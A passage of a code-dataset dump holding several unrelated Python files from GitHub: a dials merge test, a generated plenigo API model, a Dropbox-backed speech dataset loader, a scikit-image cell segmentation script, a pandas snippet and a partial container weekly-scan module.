be\n    exported into an mtz with separate columns for each wavelength.\"\"\"\n\n    r_free_labels = [\"FreeR_flag\"]\n    mean_labels = [f\"{pre}IMEAN_WAVE{i}\" for i in [1, 2] for pre in [\"\", \"SIG\"]]\n    anom_labels = [\n        f\"{pre}I_WAVE{i}({sgn})\"\n        for i in [1, 2]\n        for pre in [\"\", \"SIG\"]\n        for sgn in [\"+\", \"-\"]\n    ]\n    amp_labels = [f\"{pre}F_WAVE{i}\" for i in [1, 2] for pre in [\"\", \"SIG\"]]\n    anom_amp_labels = [\n        f\"{pre}F_WAVE{i}({sgn})\"\n        for i in [1, 2]\n        for pre in [\"\", \"SIG\"]\n        for sgn in [\"+\", \"-\"]\n    ]\n\n    location = dials_data(\"l_cysteine_4_sweeps_scaled\", pathlib=True)\n    refl1 = location / \"scaled_30.refl\"\n    expt1 = location / \"scaled_30.expt\"\n    refl2 = location / \"scaled_35.refl\"\n    expt2 = location / \"scaled_35.expt\"\n    expts1 = load.experiment_list(expt1, check_format=False)\n    expts1[0].beam.set_wavelength(0.7)\n    expts2 = load.experiment_list(expt2, check_format=False)\n    expts1.extend(expts2)\n\n    tmp_expt = tmp_path / \"tmp.expt\"\n    expts1.as_json(tmp_expt)\n\n    reflections1 = flex.reflection_table.from_file(refl1)\n    reflections2 = flex.reflection_table.from_file(refl2)\n    # first need to resolve identifiers - usually done on loading\n    reflections2[\"id\"] = flex.int(reflections2.size(), 1)\n    del reflections2.experiment_identifiers()[0]\n    reflections2.experiment_identifiers()[1] = \"3\"\n    reflections1.extend(reflections2)\n\n    tmp_refl = tmp_path / \"tmp.refl\"\n    reflections1.as_file(tmp_refl)\n\n    # Can now run after creating our 'fake' multiwavelength dataset\n    command = [\n        shutil.which(\"dials.merge\"),\n        tmp_refl,\n        tmp_expt,\n        \"truncate=True\",\n        \"anomalous=True\",\n    ]\n    result = subprocess.run(command, cwd=tmp_path, capture_output=True)\n    assert not result.returncode and not result.stderr\n    assert (tmp_path / \"merged.mtz\").is_file()\n    assert (tmp_path / \"dials.merge.html\").is_file()\n    m = mtz.object(str(tmp_path / \"merged.mtz\"))\n    labels = []\n    for ma in m.as_miller_arrays(merge_equivalents=False):\n        labels.extend(ma.info().labels)\n    assert all(x in labels for x in r_free_labels)\n    assert all(x in labels for x in mean_labels)\n    assert all(x in labels for x in anom_labels)\n    assert all(x in labels for x in amp_labels)\n    assert all(x in labels for x in anom_amp_labels)\n\n    # 7 miller arrays for each dataset, plus FreeR_flag, check the expected number of reflections.\n    arrays = m.as_miller_arrays()\n    assert len(arrays) == 15\n    assert arrays[1].info().wavelength == pytest.approx(0.7)\n    assert arrays[8].info().wavelength == pytest.approx(0.6889)\n    assert abs(arrays[1].size() - 1223) < 10  # check number of miller indices\n    assert abs(arrays[8].size() - 1453) < 10  # check number of miller indices\n\n    # test changing the wavelength tolerance such that data is combined under\n    # one wavelength. Check the number of reflections to confirm this.\n    command = [\n        shutil.which(\"dials.merge\"),\n        tmp_refl,\n        tmp_expt,\n        \"truncate=True\",\n        \"anomalous=True\",\n        \"wavelength_tolerance=0.02\",\n    ]\n    result = subprocess.run(command, cwd=tmp_path, capture_output=True)\n    assert not result.returncode and not result.stderr\n    m = mtz.object(str(tmp_path / \"merged.mtz\"))\n    arrays = m.as_miller_arrays()\n    assert arrays[1].info().wavelength == pytest.approx(0.69441, abs=1e-5)\n    assert len(arrays) == 8\n    assert abs(arrays[1].size() - 1538) < 10\n\n\ndef test_suitable_exit_for_bad_input_from_single_dataset(dials_data, tmp_path):\n    location = dials_data(\"vmxi_proteinase_k_sweeps\", pathlib=True)\n\n    command = [\n        shutil.which(\"dials.merge\"),\n        location / \"experiments_0.json\",\n        location / \"reflections_0.pickle\",\n    ]\n\n    # unscaled data\n    result = subprocess.run(command, cwd=tmp_path, capture_output=True)\n    assert result.returncode\n    assert (\n        result.stderr.replace(b\"\\r\", b\"\")\n        == b\"\"\"Sorry: intensity.scale.value not found in the reflection table.\nOnly scaled data can be processed with dials.merge\n\"\"\"\n    )\n\n\ndef test_suitable_exit_for_bad_input_with_more_than_one_reflection_table(\n    dials_data, tmp_path\n):\n    location = dials_data(\"vmxi_proteinase_k_sweeps\", pathlib=True)\n\n    command = [\n        shutil.which(\"dials.merge\"),\n        location / \"experiments_0.json\",\n        location / \"reflections_0.pickle\",\n        location / \"experiments_1.json\",\n        location / \"reflections_1.pickle\",\n    ]\n\n    # more than one reflection table.\n    result = subprocess.run(command, cwd=tmp_path, capture_output=True)\n    assert result.returncode\n    assert (\n        result.stderr.replace(b\"\\r\", b\"\")\n        == b\"\"\"Sorry: Only data scaled together as a single reflection dataset\ncan be processed with dials.merge\n\"\"\"\n    )\n\n\ndef test_merge_exclude_images(dials_data, tmp_path):\n    \"\"\"Test the command line script with LCY data: exclude_images\"\"\"\n\n    location = dials_data(\"l_cysteine_4_sweeps_scaled\", pathlib=True)\n    refls = location / \"scaled_30.refl\"\n    expts = location / \"scaled_30.expt\"\n\n    mtz_file = tmp_path / \"merge-exclude.mtz\"\n\n    command = [\n        shutil.which(\"dials.merge\"),\n        refls,\n        expts,\n        f\"output.mtz={str(mtz_file)}\",\n        \"exclude_images=0:851:1700\",\n        \"d_min=0.59\",\n    ]\n    result = subprocess.run(command, cwd=tmp_path, capture_output=True)\n    assert not result.returncode and not result.stderr\n\n    # all the data together is 75% complete\n\n    for record in result.stdout.decode().split(\"\\n\"):\n        if record.startswith(\"Completeness\"):\n            assert float(record.split()[1]) < 70\n","repo_name":"dials/dials","sub_path":"tests/command_line/test_merge.py","file_name":"test_merge.py","file_ext":"py","file_size_in_byte":10416,"program_lang":"python","lang":"en","doc_type":"code","stars":60,"dataset":"github-code","pt":"35"}
{"seq_id":"74847159460","text":"import datetime\nfrom typing import TYPE_CHECKING, Any, Dict, List, Type, TypeVar, Union\n\nimport attr\nfrom dateutil.parser import isoparse\n\nfrom ..models.access_right_item_data_granted_item_type import AccessRightItemDataGrantedItemType\nfrom ..types import UNSET, Unset\n\nif TYPE_CHECKING:\n    from ..models.access_right_item_data_granted_data import AccessRightItemDataGrantedData\n\n\nT = TypeVar(\"T\", bound=\"AccessRightItemDataGranted\")\n\n\n@attr.s(auto_attribs=True)\nclass AccessRightItemDataGranted:\n    \"\"\"\n    Attributes:\n        access_granted (Union[Unset, bool]): flag indicating if access is granted\n        life_time_start (Union[Unset, datetime.datetime]): date the access right will start with date-time notation as\n            defined by <a href=\"https://tools.ietf.org/html/rfc3339#section-5.6\" target=\"_blank\">RFC 3339, section 5.6</a>,\n            for example, 2017-07-21T17:32:28Z\n        life_time_end (Union[Unset, datetime.datetime]): date the access right will end with date-time notation as\n            defined by <a href=\"https://tools.ietf.org/html/rfc3339#section-5.6\" target=\"_blank\">RFC 3339, section 5.6</a>,\n            for example, 2017-07-21T17:32:28Z\n        access_time_start (Union[Unset, datetime.datetime]): time the access right will start with time notation as\n            defined by <a href=\"https://tools.ietf.org/html/rfc3339#section-5.6\" target=\"_blank\">RFC 3339, section 5.6</a>,\n            for example, 17:32:28\n        access_time_end (Union[Unset, datetime.datetime]): time the access right will end with time notation as defined\n            by <a href=\"https://tools.ietf.org/html/rfc3339#section-5.6\" target=\"_blank\">RFC 3339, section 5.6</a>, for\n            example, 17:32:28\n        pause_time_start (Union[Unset, datetime.datetime]): start date the access right will paused with date-time\n            notation as defined by <a href=\"https://tools.ietf.org/html/rfc3339#section-5.6\" target=\"_blank\">RFC 3339,\n            section 5.6</a>, for example, 2017-07-21T17:32:28Z\n        pause_time_end (Union[Unset, datetime.datetime]): end date the access right pause end with date-time notation as\n            defined by <a href=\"https://tools.ietf.org/html/rfc3339#section-5.6\" target=\"_blank\">RFC 3339, section 5.6</a>,\n            for example, 2017-07-21T17:32:28Z\n        max_cache_date (Union[Unset, datetime.datetime]): max cache date with date-time notation as defined by <a\n            href=\"https://tools.ietf.org/html/rfc3339#section-5.6\" target=\"_blank\">RFC 3339, section 5.6</a>, for example,\n            2017-07-21T17:32:28Z\n        data (Union[Unset, AccessRightItemDataGrantedData]):\n        blocked (Union[Unset, bool]): flag indicating if access is blocked\n        product_id (Union[Unset, str]): id of the product bought\n        plenigo_offer_id (Union[Unset, str]): if the product is based on a plenigo offer the plenigo offer id is\n            provided here\n        plenigo_product_id (Union[Unset, str]): if the product is based on a plenigo offer the plenigo product id is\n            provided here - can be identically to the productId\n        plenigo_step_id (Union[Unset, str]): if the product is based on a plenigo offer the plenigo step id is provided\n            here\n        access_right_unique_id (Union[Unset, str]): unique id of the access right this order item grants access to\n        item_type (Union[Unset, AccessRightItemDataGrantedItemType]): type of this access right item\n        item_id (Union[Unset, str]): the id this access right belongs to\n    \"\"\"\n\n    access_granted: Union[Unset, bool] = UNSET\n    life_time_start: Union[Unset, datetime.datetime] = UNSET\n    life_time_end: Union[Unset, datetime.datetime] = UNSET\n    access_time_start: Union[Unset, datetime.datetime] = UNSET\n    access_time_end: Union[Unset, datetime.datetime] = UNSET\n    pause_time_start: Union[Unset, datetime.datetime] = UNSET\n    pause_time_end: Union[Unset, datetime.datetime] = UNSET\n    max_cache_date: Union[Unset, datetime.datetime] = UNSET\n    data: Union[Unset, \"AccessRightItemDataGrantedData\"] = UNSET\n    blocked: Union[Unset, bool] = UNSET\n    product_id: Union[Unset, str] = UNSET\n    plenigo_offer_id: Union[Unset, str] = UNSET\n    plenigo_product_id: Union[Unset, str] = UNSET\n    plenigo_step_id: Union[Unset, str] = UNSET\n    access_right_unique_id: Union[Unset, str] = UNSET\n    item_type: Union[Unset, AccessRightItemDataGrantedItemType] = UNSET\n    item_id: Union[Unset, str] = UNSET\n    additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n    def to_dict(self) -> Dict[str, Any]:\n        access_granted = self.access_granted\n        life_time_start: Union[Unset, str] = UNSET\n        if not isinstance(self.life_time_start, Unset):\n            life_time_start = self.life_time_start.isoformat()\n\n        life_time_end: Union[Unset, str] = UNSET\n        if not isinstance(self.life_time_end, Unset):\n            life_time_end = self.life_time_end.isoformat()\n\n        access_time_start: Union[Unset, str] = UNSET\n        if not isinstance(self.access_time_start, Unset):\n            access_time_start = self.access_time_start.isoformat()\n\n        access_time_end: Union[Unset, str] = UNSET\n        if not isinstance(self.access_time_end, Unset):\n            access_time_end = self.access_time_end.isoformat()\n\n        pause_time_start: Union[Unset, str] = UNSET\n        if not isinstance(self.pause_time_start, Unset):\n            pause_time_start = self.pause_time_start.isoformat()\n\n        pause_time_end: Union[Unset, str] = UNSET\n        if not isinstance(self.pause_time_end, Unset):\n            pause_time_end = self.pause_time_end.isoformat()\n\n        max_cache_date: Union[Unset, str] = UNSET\n        if not isinstance(self.max_cache_date, Unset):\n            max_cache_date = self.max_cache_date.isoformat()\n\n        data: Union[Unset, Dict[str, Any]] = UNSET\n        if not isinstance(self.data, Unset):\n            data = self.data.to_dict()\n\n        blocked = self.blocked\n        product_id = self.product_id\n        plenigo_offer_id = self.plenigo_offer_id\n        plenigo_product_id = self.plenigo_product_id\n        plenigo_step_id = self.plenigo_step_id\n        access_right_unique_id = self.access_right_unique_id\n        item_type: Union[Unset, str] = UNSET\n        if not isinstance(self.item_type, Unset):\n            item_type = self.item_type.value\n\n        item_id = self.item_id\n\n        field_dict: Dict[str, Any] = {}\n        field_dict.update(self.additional_properties)\n        field_dict.update({})\n        if access_granted is not UNSET:\n            field_dict[\"accessGranted\"] = access_granted\n        if life_time_start is not UNSET:\n            field_dict[\"lifeTimeStart\"] = life_time_start\n        if life_time_end is not UNSET:\n            field_dict[\"lifeTimeEnd\"] = life_time_end\n        if access_time_start is not UNSET:\n            field_dict[\"accessTimeStart\"] = access_time_start\n        if access_time_end is not UNSET:\n            field_dict[\"accessTimeEnd\"] = access_time_end\n        if pause_time_start is not UNSET:\n            field_dict[\"pauseTimeStart\"] = pause_time_start\n        if pause_time_end is not UNSET:\n            field_dict[\"pauseTimeEnd\"] = pause_time_end\n        if max_cache_date is not UNSET:\n            field_dict[\"maxCacheDate\"] = max_cache_date\n        if data is not UNSET:\n            field_dict[\"data\"] = data\n        if blocked is not UNSET:\n            field_dict[\"blocked\"] = blocked\n        if product_id is not UNSET:\n            field_dict[\"productId\"] = product_id\n        if plenigo_offer_id is not UNSET:\n            field_dict[\"plenigoOfferId\"] = plenigo_offer_id\n        if plenigo_product_id is not UNSET:\n            field_dict[\"plenigoProductId\"] = plenigo_product_id\n        if plenigo_step_id is not UNSET:\n            field_dict[\"plenigoStepId\"] = plenigo_step_id\n        if access_right_unique_id is not UNSET:\n            field_dict[\"accessRightUniqueId\"] = access_right_unique_id\n        if item_type is not UNSET:\n            field_dict[\"itemType\"] = item_type\n        if item_id is not UNSET:\n            field_dict[\"itemId\"] = item_id\n\n        return field_dict\n\n    @classmethod\n    def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n        from ..models.access_right_item_data_granted_data import AccessRightItemDataGrantedData\n\n        d = src_dict.copy()\n        access_granted = d.pop(\"accessGranted\", UNSET)\n\n        _life_time_start = d.pop(\"lifeTimeStart\", UNSET)\n        life_time_start: Union[Unset, datetime.datetime]\n        if isinstance(_life_time_start, Unset):\n            life_time_start = UNSET\n        else:\n            life_time_start = isoparse(_life_time_start)\n\n        _life_time_end = d.pop(\"lifeTimeEnd\", UNSET)\n        life_time_end: Union[Unset, datetime.datetime]\n        if isinstance(_life_time_end, Unset):\n            life_time_end = UNSET\n        else:\n            life_time_end = isoparse(_life_time_end)\n\n        _access_time_start = d.pop(\"accessTimeStart\", UNSET)\n        access_time_start: Union[Unset, datetime.datetime]\n        if isinstance(_access_time_start, Unset):\n            access_time_start = UNSET\n        else:\n            access_time_start = isoparse(_access_time_start)\n\n        _access_time_end = d.pop(\"accessTimeEnd\", UNSET)\n        access_time_end: Union[Unset, datetime.datetime]\n        if isinstance(_access_time_end, Unset):\n            access_time_end = UNSET\n        else:\n            access_time_end = isoparse(_access_time_end)\n\n        _pause_time_start = d.pop(\"pauseTimeStart\", UNSET)\n        pause_time_start: Union[Unset, datetime.datetime]\n        if isinstance(_pause_time_start, Unset):\n            pause_time_start = UNSET\n        else:\n            pause_time_start = isoparse(_pause_time_start)\n\n        _pause_time_end = d.pop(\"pauseTimeEnd\", UNSET)\n        pause_time_end: Union[Unset, datetime.datetime]\n        if isinstance(_pause_time_end, Unset):\n            pause_time_end = UNSET\n        else:\n            pause_time_end = isoparse(_pause_time_end)\n\n        _max_cache_date = d.pop(\"maxCacheDate\", UNSET)\n        max_cache_date: Union[Unset, datetime.datetime]\n        if isinstance(_max_cache_date, Unset):\n            max_cache_date = UNSET\n        else:\n            max_cache_date = isoparse(_max_cache_date)\n\n        _data = d.pop(\"data\", UNSET)\n        data: Union[Unset, AccessRightItemDataGrantedData]\n        if isinstance(_data, Unset):\n            data = UNSET\n        else:\n            data = AccessRightItemDataGrantedData.from_dict(_data)\n\n        blocked = d.pop(\"blocked\", UNSET)\n\n        product_id = d.pop(\"productId\", UNSET)\n\n        plenigo_offer_id = d.pop(\"plenigoOfferId\", UNSET)\n\n        plenigo_product_id = d.pop(\"plenigoProductId\", UNSET)\n\n        plenigo_step_id = d.pop(\"plenigoStepId\", UNSET)\n\n        access_right_unique_id = d.pop(\"accessRightUniqueId\", UNSET)\n\n        _item_type = d.pop(\"itemType\", UNSET)\n        item_type: Union[Unset, AccessRightItemDataGrantedItemType]\n        if isinstance(_item_type, Unset):\n            item_type = UNSET\n        else:\n            item_type = AccessRightItemDataGrantedItemType(_item_type)\n\n        item_id = d.pop(\"itemId\", UNSET)\n\n        access_right_item_data_granted = cls(\n            access_granted=access_granted,\n            life_time_start=life_time_start,\n            life_time_end=life_time_end,\n            access_time_start=access_time_start,\n            access_time_end=access_time_end,\n            pause_time_start=pause_time_start,\n            pause_time_end=pause_time_end,\n            max_cache_date=max_cache_date,\n            data=data,\n            blocked=blocked,\n            product_id=product_id,\n            plenigo_offer_id=plenigo_offer_id,\n            plenigo_product_id=plenigo_product_id,\n            plenigo_step_id=plenigo_step_id,\n            access_right_unique_id=access_right_unique_id,\n            item_type=item_type,\n            item_id=item_id,\n        )\n\n        access_right_item_data_granted.additional_properties = d\n        return access_right_item_data_granted\n\n    @property\n    def additional_keys(self) -> List[str]:\n        return list(self.additional_properties.keys())\n\n    def __getitem__(self, key: str) -> Any:\n        return self.additional_properties[key]\n\n    def __setitem__(self, key: str, value: Any) -> None:\n        self.additional_properties[key] = value\n\n    def __delitem__(self, key: str) -> None:\n        del self.additional_properties[key]\n\n    def __contains__(self, key: str) -> bool:\n        return key in self.additional_properties\n","repo_name":"spring-media/plenigo-python-client-gen","sub_path":"plenigo-client/plenigo/models/access_right_item_data_granted.py","file_name":"access_right_item_data_granted.py","file_ext":"py","file_size_in_byte":12578,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"32023170364","text":"import datasets\nimport csv\nimport os\n\n\n_DESCRIPTION = \"\"\"\nDescription needed.\n\"\"\"\n_HOMEPAGE = \"cliveworks.co.kr\"\n#Metadata file\n#audio TAR archive at\n_DATA_URL = \"https://www.dropbox.com/scl/fi/58fhlnhgtwjqthz47yjq8/audio.tar.gz?rlkey=vqk0elbjw5ue29fgcddtvcyae&dl=1\"\nclass CliveDataset(datasets.GeneratorBasedBuilder):\n    def _info(self):\n        return datasets.DatasetInfo(\n            description=_DESCRIPTION,\n            features=datasets.Features(\n                {\n                    \"path\": datasets.Value(\"string\"),\n                    \"audio\": datasets.Audio(sampling_rate=16_000),\n                    \"sentence\": datasets.Value(\"string\")\n                }\n            ),\n            supervised_keys=None,\n            homepage=_HOMEPAGE,\n        )\n    # Download and define the dataset splits\n    def _split_generators(self, dl_manager):\n        \"\"\"Returns SplitGenerator\"\"\"\n        # prompts_path = dl_manager.download(_PROMPTS_URL)\n        audio_path = dl_manager.download(_DATA_URL)\n        local_extracted_archive = dl_manager.extract(audio_path) if not dl_manager.is_streaming else None\n        splits = {\n            \"train\": \"https://www.dropbox.com/scl/fi/efflncphlhvtm0m5v2l73/train_split.tar?rlkey=ket7su2lundqm69e621ijc5ph&dl=1\",\n            \"test\": \"https://www.dropbox.com/scl/fi/y2z6n75tag8wv1ja3rk1x/test_split.tar?rlkey=s61vz4eisr34f7jcx343ok7a6&dl=1\",\n            \"validation\": \"https://www.dropbox.com/scl/fi/sfplm1oddjkfi91xsq8t8/validation_split.tar?rlkey=1j6vzjpuveek8waigx1ptxw6f&dl=1\"\n        }\n        metadata_paths = {}\n        for split in splits:\n            extracted_path = dl_manager.download_and_extract(splits[split])\n            metadata_paths[split] = os.path.join(extracted_path, f\"{split}.tsv\")\n        \n        return [\n            datasets.SplitGenerator(\n                name = datasets.Split.TRAIN,\n                gen_kwargs={\n                    \"local_extracted_archive\": local_extracted_archive,\n                    \"audio_files\": dl_manager.iter_archive(audio_path),\n                    \"metadata_path\": metadata_paths[\"train\"]\n                }\n            ),\n            datasets.SplitGenerator(\n                name = datasets.Split.TEST,\n                gen_kwargs={\n                    \"local_extracted_archive\": local_extracted_archive,\n                    \"audio_files\": dl_manager.iter_archive(audio_path),\n                    \"metadata_path\": metadata_paths[\"test\"]\n                }\n            ),\n            datasets.SplitGenerator(\n                name = datasets.Split.VALIDATION,\n                gen_kwargs={\n                    \"local_extracted_archive\": local_extracted_archive,\n                    \"audio_files\": dl_manager.iter_archive(audio_path),\n                    \"metadata_path\": metadata_paths[\"validation\"]\n                }\n            )\n        ]\n    \n    \n    \n    def _generate_examples(self, audio_files, local_extracted_archive, metadata_path):\n        \"\"\"Yields examples as (key, example) tuples.\"\"\"\n        metadata = {\"path\": [], \"sentence\": []}\n        with open(metadata_path, \"r\", encoding = \"utf-8\") as f:\n            reader = csv.reader(f, delimiter='\\t')\n            for row in reader:\n                audio_path, transcription = row[0].strip().split(\" :: \")\n                metadata[\"path\"].append(audio_path)\n                metadata[\"sentence\"].append(transcription)\n        \n        id_ = 0 \n        for path, f in audio_files:\n            if path in metadata[\"path\"]:    \n                result = {}\n                path = os.path.join(local_extracted_archive, path) if local_extracted_archive else audio_path\n                result[\"path\"] = path\n                result[\"sentence\"] = transcription\n                result[\"audio\"] = {\"path\": audio_path, \"bytes\": f.read()}\n                yield id_, result\n                id_ += 1  \n\n    ","repo_name":"yesj1234/my_asr","sub_path":"utils/loader_dbox.py","file_name":"loader_dbox.py","file_ext":"py","file_size_in_byte":3844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"16008198756","text":"import numpy as np\nfrom skimage.filters import threshold_adaptive, sobel, threshold_otsu\nfrom skimage.measure import label, regionprops\nfrom skimage.morphology import (reconstruction, disk, watershed, opening, selem, remove_small_objects,\n                                binary_dilation, binary_erosion, dilation)\nfrom skimage.segmentation import random_walker, join_segmentations\nfrom skimage.feature import peak_local_max\nfrom skimage.color import label2rgb\nfrom joblib import Parallel, delayed, cpu_count\n\n\ndef _to_array(name):\n    n_array = np.empty((1,2))\n    n_array[0,:] = np.array([int(name[0]), int(name[1])])\n    return n_array\n\ndef _markers_rw(image):\n    # Making the seeds for random walker\n    y, x = image.shape\n    local_maxima = peak_local_max(image, threshold_abs=threshold_otsu(image),\n                                  footprint=np.ones((50, 50)),\n                                  threshold_rel=0.0, exclude_border=True)\n    backmiddle = np.where(image == image[int(x/3):int(-y/3),int(x/3):int(-y/3)].min())\n\n    if len(backmiddle[0]) >= 1:\n        backmiddle = (backmiddle[0][0:1], backmiddle[1][0:1])\n\n\n    seeds = np.concatenate((local_maxima, _to_array(backmiddle)), axis= 0)\n\n    markers = np.zeros(image.shape, dtype=np.int)\n    markers[seeds[:,0].astype(np.int), seeds[:,1].astype(np.int)] = np.arange(len(seeds[:,0])) + 1\n    markers = dilation(markers, disk(10))\n\n    return markers\n\ndef _rand_walk(image):\n    markers = _markers_rw(image)\n    return random_walker(image, markers, beta=25000, mode='cg_mg')\n\ndef _water(image):\n\n    elevation_map = sobel(image)\n\n    average = np.mean(image)\n    average_above_av = np.mean(image[image>average])\n    markers = np.zeros_like(image)\n    markers[image < average+(average*10/100)] = 1\n    markers[image > average_above_av] = 2\n\n    segmentation = watershed(elevation_map, markers)\n    segmentation = (segmentation > 1)\n    return segmentation\n\ndef _join_seg(segmentation_rw, segmentation_ws):\n    rw_ws_join = join_segmentations(segmentation_rw, segmentation_ws)\n    rw_ws_join[~segmentation_ws] = 0\n\n    labeled_segmentation = label(rw_ws_join)\n    labeled_segmentation = remove_small_objects(labeled_segmentation, 800)\n\n    return labeled_segmentation\n\ndef _segmentation(img_row, img_Red_row, result_denoise, tp = 5):\n\n    # segmentation of img_row:\n    #----------------------------------------------------------------------\n\n    img_denoise = result_denoise[tp]\n    #img_denoise = result_denoise\n    #Random walker\n    segmentation_rw = _rand_walk(img_denoise)\n\n    # Watershed\n    segmentation_ws = _water(img_denoise)\n\n    labeled_image = _join_seg(segmentation_rw, segmentation_ws)\n\n    # Constructing the h-dome for analysis under the pic:\n    # calculate hdome to have stronger difference in S/N\n    #----------------------------------------------------------------------\n\n    #seed = np.copy(img_denoise)\n    #seed[1:-1, 1:-1] = img_denoise.min()\n    #mask = img_denoise\n    #dilated = reconstruction(seed, mask, method='dilation')\n    #hdome = img_denoise - dilated\n\n    props = regionprops(labeled_image, intensity_image = img_denoise)\n    #props_hdome = regionprops(labeled_image, intensity_image = hdome)\n\n    # Denoising / processing / segmentation of img_row red:\n    #----------------------------------------------------------------------\n\n    Red_binary = threshold_adaptive(img_Red_row[tp,:,:], block_size=37)\n    d = selem.diamond(radius=4)\n    Red_binary_open = opening(Red_binary, d)\n    Red_binary_open = binary_erosion(Red_binary_open, selem = disk(2))\n    Red_binary_open = binary_dilation(Red_binary_open, selem = disk(2))\n\n    Red_binary_open_labeled = label(Red_binary_open)\n    Red_binary_open_labeled_overlay = label2rgb(Red_binary_open_labeled, image=img_Red_row[tp,:,:])\n\n    props_Red = regionprops(Red_binary_open_labeled, intensity_image = img_denoise)\n\n    # Getting property out\n    #----------------------------------------------------------------------\n\n    #Cells property\n    #------------------\n    cell_coord=[]\n    mean_intensity = []\n    numb_para = []\n    prop_green = []\n\n    #Red property\n    #------------------\n    prop_red = []\n\n    for cell, prop in enumerate(props):\n        prop_green.append(props[cell])\n\n    for cell, prop in enumerate(props):\n\n        # Cell part:\n        #------------------\n\n        ycent,xcent = props[cell]['centroid']\n        mean_intensity.append(props[cell]['mean_intensity'])\n        cell_coord.append((ycent,xcent))\n\n\n        # Parasite part:\n        #------------------\n        Para_masked = np.copy(Red_binary_open_labeled)\n        Mask = (labeled_image == cell+1)\n        Para_masked[~Mask] = 0\n        para_ID = list(np.unique(Para_masked[Para_masked != 0]))\n        numb_para.append(len(para_ID))\n\n        ### Get the all parasite not just the piece that overlap i\n        lst_prop_para_ID = []\n\n        for para, prop in enumerate(props_Red):\n            ID = props_Red[para]['label']\n            if ID in para_ID:\n                lst_prop_para_ID.append(prop)\n        prop_red.append((lst_prop_para_ID))\n\n\n    result1 = np.array(cell_coord)\n    result2 = np.array(mean_intensity)\n    result3 = np.array(prop_red)\n    result4 = np.array(prop_green)\n\n    result = np.concatenate((result1, result2[:, np.newaxis], result3[:, np.newaxis], result4[:, np.newaxis]) , axis=1)\n\n    return result, labeled_image, prop_red, Red_binary_open\n\ndef parallel_segmentation(image_cell, image_parasite, image_denoised, nt = 4):\n    #nt, ny, nx = image_cell.shape\n    cores = cpu_count()\n    result = Parallel(n_jobs=cores)(delayed(_segmentation)(image_cell, image_parasite, image_denoised, tp=t) for t in range(nt))\n    result, labeled_image, prop_red, Red_binary_open = zip(*result)\n    return(result, labeled_image, prop_red, Red_binary_open)\n","repo_name":"bioimage-analysis/track_cell_division","sub_path":"script/segmentation.py","file_name":"segmentation.py","file_ext":"py","file_size_in_byte":5791,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12635132520","text":"import pandas as pd\n\ntable = pd.read_csv(\"./wandb/standard_mf_table.csv\")\ntable.drop(table.columns[[0, 1, 2, 3, 4, 11]], axis=1, inplace=True)\ngroups = table.groupby(by=[\"biased\", \"k\", \"lr\", \"tr_batch_size\", \"wd\"])\n\nfor group_idx, group in enumerate(groups):\n    print(group_idx)\n    print(group)\n    print()\n\n# print(table.head())","repo_name":"tommasocarraro/LTNrec-knowledge-transfer","sub_path":"extract_best_config.py","file_name":"extract_best_config.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"10515385532","text":"#!/usr/bin/env python\n\n\"\"\"\nThis module iniializes the weekly scan by finding out the list of images\non the registry and initializing the scan tasks scan-worker.\n\"\"\"\n\nimport datetime\nimport json\nimport logging\nimport os\nimport random\nimport string\nimport sys\n\nfrom scanning.lib.queue import JobQueue\nfrom scanning.lib.log import load_logger\nfrom scanning.lib import settings\nfrom scanning.lib.run_saasherder import run_saasherder\nfrom config import GITREPO\n\n\nclass WeeklyScan(object):\n    \"\"\"\n    Class for aggregating operations needed to perform weekly scan\n    \"\"\"\n\n    def __init__(self, sub=None, pub=None):\n        # configure logger\n        self.logger = logging.getLogger('weeklyscan')\n        # initialize beanstalkd queue connection for scan trigger\n        self.queue = JobQueue(host=settings.BEANSTALKD_HOST,\n                              port=settings.BEANSTALKD_PORT,\n                              sub=sub, pub=pub, logger=self.logger)\n        self.gitrepo = GITREPO\n\n    def random_string(self, size=3):\n        \"\"\"\n        Returns a unique random chars string name of size given\n        \"\"\"\n        ts = datetime.datetime.now().strftime(\"%Y-%m-%d-%H-%M-%S\")\n        chars = string.ascii_lowercase + string.digits\n        rc = \"\".join(random.choice(chars) for _ in range(size))\n        return \"{}-{}-scan\".format(ts, rc)\n\n    def new_logs_dir(self, basedir=\"/tmp\"):\n        \"\"\"\n        Creates a temp dir in /tmp location\n        \"\"\"\n        dirname = os.path.join(basedir, self.random_string())\n        try:\n            os.makedirs(dirname)\n        except OSError as e:\n            self.logger.warning(\n                \"Failing to create {} dir for scanner results. {}\".format(\n                    dirname, e))\n            return None\n        else:\n            return dirname\n\n    def read_images(self, images_file):\n        \"\"\"\n        Given a file, returns\n        [\n            [\n                $GITURL,\n                $GITSHA,\n                $IMAGE,\n            ],\n        [..]\n        ]\n        \"\"\"\n        try:\n            fin = open(images_file)\n        except Exception as e:\n            self.logger.critical(\n                \"Failed to read list of images from file {}. {}\".format(\n                    images_file, str(e)))\n            return None\n\n        images = []\n        try:\n            all_lines = fin.read().strip()\n            lines = all_lines.split(\"\\n\")\n            # remove duplicate lines\n            lines = list(set(lines))\n            self.logger.info(\"About {} containers identified for scan.\".format(\n                len(lines)))\n            for line in lines:\n                parts = line.strip().split(\";\")\n                if len(parts) != 3:\n                    self.logger.warning(\"Incomplete info for {}\".format(parts))\n                    continue\n\n                # filter containers which are on r.c.o\n                if parts[2].startswith(\"registry.centos.org\"):\n                    continue\n\n                images.append(parts)\n        except Exception as e:\n            self.logger.critical(\n                \"Failed to parse images via {}.{}\".format(images_file, str(e)))\n            return None\n\n        return images\n\n    def run(self):\n        \"\"\"\n        Finds images on given registry using get-images.sh script,\n        and put the job for images for scanning\n        \"\"\"\n        self.logger.info(\"Starting weekly scan..\")\n\n        images_file = run_saasherder()\n        if not images_file:\n            self.logger.critical(\n                \"No images found via saasherder/get_images.sh. \"\n                \"Aborting weekly scan.\")\n            return None\n\n        images = self.read_images(images_file)\n        if not images:\n            self.logger.critical(\n                \"No images found via saasherder/get_images.sh.\"\n                \"Aborting weekly scan.\")\n            return None\n\n        # create weekly scan dir in configured git repo\n        scan_gitpath = self.create_weekly_scan_dir_in_git_repo()\n        if not scan_gitpath:\n            